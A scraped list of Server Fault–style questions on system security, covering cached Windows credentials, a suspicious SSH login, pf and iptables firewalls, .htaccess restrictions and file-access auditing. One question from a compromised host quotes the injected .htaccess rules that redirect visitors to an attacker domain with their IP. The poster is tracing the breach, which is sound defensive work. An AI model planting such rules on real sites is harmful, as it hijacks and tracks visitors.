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  • How are cached Windows credentials stored on the local machine?

    - by MDMarra
    How are cached Active Directory domain credentials stored on a Windows client? Are they stored in the local SAM database, thus making them susceptible to the same rainbow table attacks that local user accounts are susceptible to, or are they stored differently? Note, that I do realize that they are salted and hashed, so as not to be stored in plain-text, but are they hashed in the same way as local accounts and are they stored in the same location? I realize that at a minimum they're be susceptible to a brute force attack, but that's a much better situation than being vulnerable to rainbow tables in the event of a stolen machine.

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  • Strange ssh login

    - by Hikaru
    I am running debian server and i have received a strange email warning about ssh login It says, that user mail logged in using ssh from remote address: Environment info: USER=mail SSH_CLIENT=92.46.127.173 40814 22 MAIL=/var/mail/mail HOME=/var/mail SSH_TTY=/dev/pts/7 LOGNAME=mail TERM=xterm PATH=/usr/local/bin:/usr/bin:/bin:/usr/bin/X11:/usr/games LANG=en_US.UTF-8 SHELL=/bin/sh KRB5CCNAME=FILE:/tmp/krb5cc_8 PWD=/var/mail SSH_CONNECTION=92.46.127.173 40814 my-ip-here 22 I looked in /etc/shadow and find out, that password for is not set mail:*:15316:0:99999:7::: I found this lines for login in auth.log n 3 02:57:09 gw sshd[2090]: pam_winbind(sshd:auth): getting password (0x00000388) Jun 3 02:57:09 gw sshd[2090]: pam_winbind(sshd:auth): pam_get_item returned a password Jun 3 02:57:09 gw sshd[2091]: pam_winbind(sshd:auth): user 'mail' granted access Jun 3 02:57:09 gw sshd[2091]: Accepted password for mail from 92.46.127.173 port 45194 ssh2 Jun 3 02:57:09 gw sshd[2091]: pam_unix(sshd:session): session opened for user mail by (uid=0) Jun 3 02:57:10 gw CRON[2051]: pam_unix(cron:session): session closed for user root and lots of auth failures for this user. There is no lines with COMMAND string for this user. Nothing was found with "rkhunter" and with "ps aux" process inspection, also there is no suspicious connections was found with "netstat" (as I can see) Can anyone tell me how it is possible and what else should be done? Thanks in advance.

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  • How to configure mercurial access controls using apache and hgweb?

    - by Gj1
    I have set up a mercurial repo to be served using apache+wsgi+hgweb on OS X. It is now completely open to anyone who stumbles upon my server on the correct port number.. How can I set it up so that only people with a username+password pair that I approve can pull and/or push from the repo? I know how to very easily achieve this using ssh, but in this specific case the requirement is that the solution doesn't require defining full fledged user accounts on the machine for each person whom I'd like to give access to the repo.

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  • Use .htaccess to block *All* access to specific folders.

    - by Urda
    I am not sure how to do this, but I want to block all access to a specific set of folders on my web server. Say secret01 and secret 02... homeDir |- data |- www | |- .htaccess (file) | |- images | |- js | |- secret01 | |- secret02 | |... |... What rule(s) do I need to add to my root .htaccess file to do this? I want all access from the web blocked from going into these folders, period. Only way one could get to them would be over SFTP or SSH. So what rule am I looking for? I am preferably looking for a one-liner so I can add more folders or move it to another site down the road. I really would prefer if the rule could be placed in the .htaccess root file so I don't have to jump all over the place to lock and unlock folders.

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  • How to open a server port outside of an OpenVPN tunnel with a pf firewall on OSX (BSD)

    - by Timbo
    I have a Mac mini that I use as a media server running XBMC and serves media from my NAS to my stereo and TV (which has been color calibrated with a Spyder3Express, happy). The Mac runs OSX 10.8.2 and the internet connection is tunneled for general privacy over OpenVPN through Tunnelblick. I believe my anonymous VPN provider pushes "redirect_gateway" to OpenVPN/Tunnelblick because when on it effectively tunnels all non-LAN traffic in- and outbound. As an unwanted side effect that also opens the boxes server ports unprotected to the outside world and bypasses my firewall-router (Netgear SRX5308). I have run nmap from outside the LAN on the VPN IP and the server ports on the mini are clearly visible and connectable. The mini has the following ports open: ssh/22, ARD/5900 and 8080+9090 for the XBMC iOS client Constellation. I also have Synology NAS which apart from LAN file serving over AFP and WebDAV only serves up an OpenVPN/1194 and a PPTP/1732 server. When outside of the LAN I connect to this from my laptop over OpenVPN and over PPTP from my iPhone. I only want to connect through AFP/548 from the mini to the NAS. The border firewall (SRX5308) just works excellently, stable and with a very high throughput when streaming from various VOD services. My connection is a 100/10 with a close to theoretical max throughput. The ruleset is as follows Inbound: PPTP/1723 Allow always to 10.0.0.40 (NAS/VPN server) from a restricted IP range >corresponding to possible cell provider range OpenVPN/1194 Allow always to 10.0.0.40 (NAS/VPN server) from any Outbound: Default outbound policy: Allow Always OpenVPN/1194 TCP Allow always from 10.0.0.40 (NAS) to a.b.8.1-a.b.8.254 (VPN provider) OpenVPN/1194 UDP Allow always to 10.0.0.40 (NAS) to a.b.8.1-a.b.8.254 (VPN provider) Block always from NAS to any On the Mini I have disabled the OSX Application Level Firewall because it throws popups which don't remember my choices from one time to another and that's annoying on a media server. Instead I run Little Snitch which controls outgoing connections nicely on an application level. I have configured the excellent OSX builtin firewall pf (from BSD) as follows pf.conf (Apple App firewall tie-ins removed) (# replaced with % to avoid formatting errors) ### macro name for external interface. eth_if = "en0" vpn_if = "tap0" ### wifi_if = "en1" ### %usb_if = "en3" ext_if = $eth_if LAN="{10.0.0.0/24}" ### General housekeeping rules ### ### Drop all blocked packets silently set block-policy drop ### all incoming traffic on external interface is normalized and fragmented ### packets are reassembled. scrub in on $ext_if all fragment reassemble scrub in on $vpn_if all fragment reassemble scrub out all ### exercise antispoofing on the external interface, but add the local ### loopback interface as an exception, to prevent services utilizing the ### local loop from being blocked accidentally. ### set skip on lo0 antispoof for $ext_if inet antispoof for $vpn_if inet ### spoofing protection for all interfaces block in quick from urpf-failed ############################# block all ### Access to the mini server over ssh/22 and remote desktop/5900 from LAN/en0 only pass in on $eth_if proto tcp from $LAN to any port {22, 5900, 8080, 9090} ### Allow all udp and icmp also, necessary for Constellation. Could be tightened. pass on $eth_if proto {udp, icmp} from $LAN to any ### Allow AFP to 10.0.0.40 (NAS) pass out on $eth_if proto tcp from any to 10.0.0.40 port 548 ### Allow OpenVPN tunnel setup over unprotected link (en0) only to VPN provider IPs ### and port ranges pass on $eth_if proto tcp from any to a.b.8.0/24 port 1194:1201 ### OpenVPN Tunnel rules. All traffic allowed out, only in to ports 4100-4110 ### Outgoing pings ok pass in on $vpn_if proto {tcp, udp} from any to any port 4100:4110 pass out on $vpn_if proto {tcp, udp, icmp} from any to any So what are my goals and what does the above setup achieve? (until you tell me otherwise :) 1) Full LAN access to the above ports on the mini/media server (including through my own VPN server) 2) All internet traffic from the mini/media server is anonymized and tunneled over VPN 3) If OpenVPN/Tunnelblick on the mini drops the connection, nothing is leaked both because of pf and the router outgoing ruleset. It can't even do a DNS lookup through the router. So what do I have to hide with all this? Nothing much really, I just got carried away trying to stop port scans through the VPN tunnel :) In any case this setup works perfectly and it is very stable. The Problem at last! I want to run a minecraft server and I installed that on a separate user account on the mini server (user=mc) to keep things partitioned. I don't want this server accessible through the anonymized VPN tunnel because there are lots more port scans and hacking attempts through that than over my regular IP and I don't trust java in general. So I added the following pf rule on the mini: ### Allow Minecraft public through user mc pass in on $eth_if proto {tcp,udp} from any to any port 24983 user mc pass out on $eth_if proto {tcp, udp} from any to any user mc And these additions on the border firewall: Inbound: Allow always TCP/UDP from any to 10.0.0.40 (NAS) Outbound: Allow always TCP port 80 from 10.0.0.40 to any (needed for online account checkups) This works fine but only when the OpenVPN/Tunnelblick tunnel is down. When up no connection is possbile to the minecraft server from outside of LAN. inside LAN is always OK. Everything else functions as intended. I believe the redirect_gateway push is close to the root of the problem, but I want to keep that specific VPN provider because of the fantastic throughput, price and service. The Solution? How can I open up the minecraft server port outside of the tunnel so it's only available over en0 not the VPN tunnel? Should I a static route? But I don't know which IPs will be connecting...stumbles How secure would to estimate this setup to be and do you have other improvements to share? I've searched extensively in the last few days to no avail...If you've read this far I bet you know the answer :)

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  • Simple secured SFTP tunnel?

    - by babonk
    I'd like to setup an sftp tunnel so that I can connect to an IP-secured SFTP server through a gateway computer from anywhere, and download the files to anywhere. I was thinking of using a combination with netcat, having it listen to either WinSCP or PuTTY sFTP (doesn't matter which). Not sure how I would download the files to the connecting computer though. I would like the tunnel to be secured, preferably, with a username/password. I'm open to using alternative software but I'm looking for unintrusive, simple command line stuff because I don't want to install a lot on this computer. Thanks

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  • Win7 UAC tokens

    - by Talc
    It is known that under win7 UAC you receive 2 tokens when you logon to the system: std user token and admin token. If I disable UAC, what should I get? only admin token? or still both with no consideration to the UAC status?

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  • can i use an ip-list include file for iptable blacklisting

    - by rubo77
    I would like to block all countries except mine in iptables, that is a lits with about 100.000 Entries. how can i define this blacklistfile in a script, so iptables blocks all those ip-ranges? maybe i can use http://www.ipdeny.com/ipblocks/data/countries/ that provides lists in the form 117.55.192.0/20 117.104.224.0/21 119.59.80.0/21 121.100.48.0/21 ... i want to be able to change the blacklistfile easily without having to change the iptables-script

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  • OSSIM - Snort/OSSEC/Nagios Logging Config Question

    - by user15736
    Quick n00b OSSIM question. I've looked around but haven't found exactly what I'm looking for. I currently have a Nagios, OSSEC, Nessus, and Snort server and I want to keep those servers active but just ship the logs to the OSSIM server and have it do the correlating and graphing. Can that be done? Everything I've seen is putting the various software functions actually on the OSSIM box but I don't want to do that. I'm running CentOS on all of the systems. Thanks.

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  • Linux File Permissions & Access Control Query

    - by Jason
    Hi, Lets say I am user: bob & group: users. There is this file: -rw----r-- 1 root users 4 May 8 22:34 testfile First question, why can't bob read the file as it's readable by others? Is it simply that if you are denied by group, then you are auto-blacklisted for others? I always assumed that the final 3 bits too precedence over user/group permission bits, guess I was wrong... Second question, how is this implemented? I suppose it's linked to the first query, but how does this work in relation to Access Control, is it related to how ACLs work / are queried? Just trying to understand how these 9 permission bits are actually implemented/used in Linux. Thanks alot.

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  • This operation has been cancelled due to restrictions in effect on this computer

    - by Dan
    I have this HUGELY irritating problem on Windows 7 (x64). Whenever I click on ANY link (that exists on a Word document, Excel or Outlook), I get an alert box with the message: This operation has been canceled due to restrictions in effect on this computer I have been scouring my settings and the Internet for a solution, but to no avail. What is the reason for this problem? It even happens when I click anchors in word document. That is, I can't even click on an entry in a Table of Contents to go to the appropriate page - I get this same error then. Is this a Windows 7 thing? Is there any way to turn this off?

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  • iptables: separate clients from each other

    - by Florian Lagg
    Hello, is there a way to separate clients in a subnet so that they cannot reach each other? The infrastructure currently looks like this: 192.168.0.1/24 Gateway, a CentOS box with iptables. 192.168.0.10-20 Some clients which may reach each other 192.168.0.30 A single client which should not be able to reach the hosts 192.168.0.10-20 should be able to reach the gateway and the internet I don't know if it is possible, maybe you could give me your ideas how it could be done. I cannot influence the machine 192.168.0.30 because it is a virtual machine I want to rent to someone. Thanks.

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  • What statistics app should I use for my website?

    - by Camran
    I have my own server (with root access). I need statistics of users who visit my website etc etc... I have looked at an app called Webalyzer... Is this a good choice? I run apache2 on a Ubuntu 9 system... If you know of any good statistics apps for servers please let me know. And a follow-up question: All statistics are saved in log-files right? So how large would these log-files become then? Possibility to split them would be good, dont know if this is possible with Webalyzer though...

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  • what are these weird IP address connections in resource monitor?

    - by bill
    I decided to check out Resource Monitor (on the 'Performance' tab in Task Manager, Windows 7) and I noticed in the "Network" section that the 'System' image name kept making a bunch (~5 at a time) of connections to random IP addresses, it would show anywhere from 1-500 bytes/sec 'sent'. They would stay connected for 1-2 minutes. -All web browsers are closed So, first thing I did was run a trace from network-tools.com on some of these IP addresses. 8/10 were outside of US and did not resolve to any host name. Of the 10 IP addresses I traced, 2 were in US, 4 showed origins in China, and one each to Algeria, Russia, Pakistan, Korea. (!) So, the next thing I did was turn off my wireless card, watch the connections disappear, then turn the card back on, and within 30 seconds more random connections were created by System, with different IP addresses from the first time. The next thing I did was go open Task Manager, Show Processes From All Users, then I killed just about everything that wasn't (what appeared to be) a windows process. Turned on wi-fi, and again within 30 seconds, random IP addresses connect for ~ 1 min at a time, new ones coming and going. I occasionally use bit torrent on this machine, but there was definitely no process that seemed related to bt running after I went through task manager, and bt wasn't open to begin with. So, any ideas on what these connections might be for? I have been using Ad-Aware Free and AVG Free on this computer for a while now, always up to date..

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  • Mod_security Logging

    - by Hekuran S. Doli
    Im trying to run mod_security as standalone service with nginx as reverse proxy everything works fine except logging. Mod_security logs reverse proxys ip addres instead of clients ip address. I would appreciate if someone can help. The following is an example of logfile where mod_security is logging 127.0.0.1 instead of clients ip address. 2012/08/29 14:18:13 [info] 206862#0: [client 127.0.0.1] ModSecurity: Access denied with code 403 (phase 2). Pattern match ...

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  • How do I securely share my server?

    - by Blue
    I have a large dedicated server running Debian and I want to share it with about 6 friends of mine. I know I can simply just use adduser to create user accounts for them, but I want to know if they can, even as a regular user without root permissions, do anything malicious. I know by default they have read permissions for other users in the /home, and can solve that with chmod, but I just want to make sure that there's nothing else they can do. And also, is there any kind of script or program that makes it easier to create and manage shell users on a server?

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  • How to put fear of God (law) into Wi-Fi hacking neighbors [closed]

    - by Shakehar
    I live in an apartment and some new guys have apparently moved into one of the apartments. They have been shamelessly hacking into my WiFi. Mine was initially a WEP encrypted network and out of laziness I just limited and reserved the IPS on my router for the people in my house. Yesterday I had to free up an IP for a guest in my house but before he could join the network these guys connected in. I have changed my encryption to WPA2 and hope they dont have the hardware/patience required to hack into it, but there are many wi-fi networks in my apartment most of which are secured using WEP. I don't really want to call the police on them. Is there any way to deter them from misusing other people's wi-fi ? I have gone through I think someone else has access to my wireless network. What next? but I have already taken the steps mentioned there.

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  • How to know who accessed a file or if a file has 'access' monitor in linux

    - by J L
    I'm a noob and have some questions about viewing who accessed a file. I found there are ways to see if a file was accessed (not modified/changed) through audit subsystem and inotify. However, from what I have read online, according to here: http://www.cyberciti.biz/tips/linux-audit-files-to-see-who-made-changes-to-a-file.html it says to 'watch/monitor' file, I have to set a watch by using command like: # auditctl -w /etc/passwd -p war -k password-file So if I create a new file or directory, do I have to use audit/inotify command to 'set' watch first to 'watch' who accessed the new file? Also is there a way to know if a directory is being 'watched' through audit subsystem or inotify? How/where can I check the log of a file? edit: from further googling, I found this page saying: http://www.kernel.org/doc/man-pages/online/pages/man7/inotify.7.html The inotify API provides no information about the user or process that triggered the inotify event. So I guess this means that I cant figure out which user accessed a file? Only audit subsystem can be used to figure out who accessed a file?

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  • Finding Webserver Vulnerability

    - by Brent
    We operate a webserver farm hosting around 300 websites. Yesterday morning a script placed .htaccess files owned by www-data (the apache user) in every directory under the document_root of most (but not all) sites. The content of the .htaccess file was this: RewriteEngine On RewriteCond %{HTTP_REFERER} ^http:// RewriteCond %{HTTP_REFERER} !%{HTTP_HOST} RewriteRule . http://84f6a4eef61784b33e4acbd32c8fdd72.com/%{REMOTE_ADDR} Googling for that url (which is the md5 hash of "antivirus") I discovered that this same thing happened all over the internet, and am looking for somebody who has already dealt with this, and determined where the vulnerability is. I have searched most of our logs, but haven't found anything conclusive yet. Are there others who experienced the same thing that have gotten further than I have in pinpointing the hole? So far we have determined: the changes were made as www-data, so apache or it's plugins are likely the culprit all the changes were made within 15 minutes of each other, so it was probably automated since our websites have widely varying domain names, I think a single vulnerability on one site was responsible (rather than a common vulnerability on every site) if an .htaccess file already existed and was writeable by www-data, then the script was kind, and simply appended the above lines to the end of the file (making it easy to reverse) Any more hints would be appreciated.

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  • Allow outgoing connections for DNS

    - by Jimmy
    I'm new to IPtables, but I am trying to setup a secure server to host a website and allow SSH. This is what I have so far: #!/bin/sh i=/sbin/iptables # Flush all rules $i -F $i -X # Setup default filter policy $i -P INPUT DROP $i -P OUTPUT DROP $i -P FORWARD DROP # Respond to ping requests $i -A INPUT -p icmp --icmp-type any -j ACCEPT # Force SYN checks $i -A INPUT -p tcp ! --syn -m state --state NEW -j DROP # Drop all fragments $i -A INPUT -f -j DROP # Drop XMAS packets $i -A INPUT -p tcp --tcp-flags ALL ALL -j DROP # Drop NULL packets $i -A INPUT -p tcp --tcp-flags ALL NONE -j DROP # Stateful inspection $i -A INPUT -m state --state NEW -p tcp --dport 22 -j ACCEPT # Allow established connections $i -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT # Allow unlimited traffic on loopback $i -A INPUT -i lo -j ACCEPT $i -A OUTPUT -o lo -j ACCEPT # Open nginx $i -A INPUT -p tcp --dport 443 -j ACCEPT $i -A INPUT -p tcp --dport 80 -j ACCEPT # Open SSH $i -A INPUT -p tcp --dport 22 -j ACCEPT However I've locked down my outgoing connections and it means I can't resolve any DNS. How do I allow that? Also, any other feedback is appreciated. James

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  • Automated VLAN creation with residential Wireless devices

    - by Zephyr Pellerin
    We've got a few WRT devices from Linksys here, and the issue has arisen to deploy them in a relatively small environment, However, in the interest of manageability we'd like to be able to automatically VLAN (ideally NOT subnet) every user from one another. It seems obvious to me that the default firmware isn't capable of this - can OpenWRT/Tomato/DD-WRT support any sort of functionality such that new users are automatically VLANed or otherwise logically separated from other users? It seems like there's an easy IPtables or PF solution here, but I've been wrong before. (If that seemed a little ambiguous, heres an example) User 1 sends DHCP request to server, new VLAN (We'll call VLAN 1) is created, user is placed in that VLAN. Then, user 2 sends a DHCP request and is placed in VLAN 2 etc. etc.

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